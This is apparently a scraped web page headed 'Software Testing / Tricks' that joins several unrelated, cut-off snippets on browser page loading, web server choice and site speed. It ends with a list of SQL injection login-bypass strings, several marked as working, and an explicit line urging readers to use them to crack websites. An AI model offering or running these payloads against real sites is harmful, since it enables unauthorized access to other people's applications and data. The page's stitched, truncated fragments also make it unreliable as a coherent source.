Software Testing / Tricks

​ 1. User enters a URL, submits a form, or clicks on a hyperlink 2. Browser makes a request to the server through the network 3. The request is processed by the web server 4. Web server sends the response back to the browser 5. Browser starts receiving the requested page (known as time to first byte) 6. Browser parses, loads, and renders the page content 7. The entire requested page becomes available on the browser

Are you sure you are using the right web server software? There are several choices, and most of them are free. Here are a few of the more popular ones that I have experience with. Apache Nginx Litespeed No matter what web server software you are using, it can likely be configured better for your own purposes. If you do not know enough about your web server to configure it, you should probably hire someone to help you. It can get pretty detailed. Let's go over some pros and cons of each server. Apache Apache  is free and is the most used webserver on the web. Because it is so well used it also enjoys great documentation. A pretty good portion of tutorials on the web kinda assume you have Apache because it was used by just about every website not too long ago. The default install of Apache is not the best performer, but it has so many users and modules and add ons that it can be made to do just about anything. Our goal for now is to improve server response time, and...

1. Minimize HTTP Requests According to  Yahoo , 80% of a Web page’s load time is spent downloading the different pieces-parts of the page: images, stylesheets, scripts, Flash, etc. An HTTP request is made for each one of these elements, so the more on-page components, the longer it takes for the page to render. That being the case, the quickest way to improve site speed is to simplify your design. Streamline the number of elements on your page. Use CSS instead of images whenever possible. Combine multiple style sheets into one. Reduce scripts and put them at the bottom of the page. Always remember, when it comes to your website, leaner is better. Pro Tip:  Start a campaign to reduce the number of components on each page. By doing this, you reduce the number of HTTP requests needed to make the page render—and you’ll significantly improve site performance. 2. Reduce server response time Your target is a server response time of less than 200ms (milliseconds). ...

SQL Injection Links 1'or'1'='1         ------work ' or 0=0 -- " or 0=0 -- or 0=0 -- ' or 0=0 #         -----work " or 0=0 # or 0=0 # ' or 'x'='x          ------ work " or "x"="x ') or ('x'='x ' or 1=1-- " or 1=1-- or 1=1-- ' or a=a-- " or "a"="a ') or ('a'='a ") or ("a"="a hi" or "a"="a hi" or 1=1 -- hi' or 1=1 -- hi' or 'a'='a    ----------work hi') or ('a'='a hi") or ("a"="a ' or 1=1#      ----------work use this queries to crack websites / web applications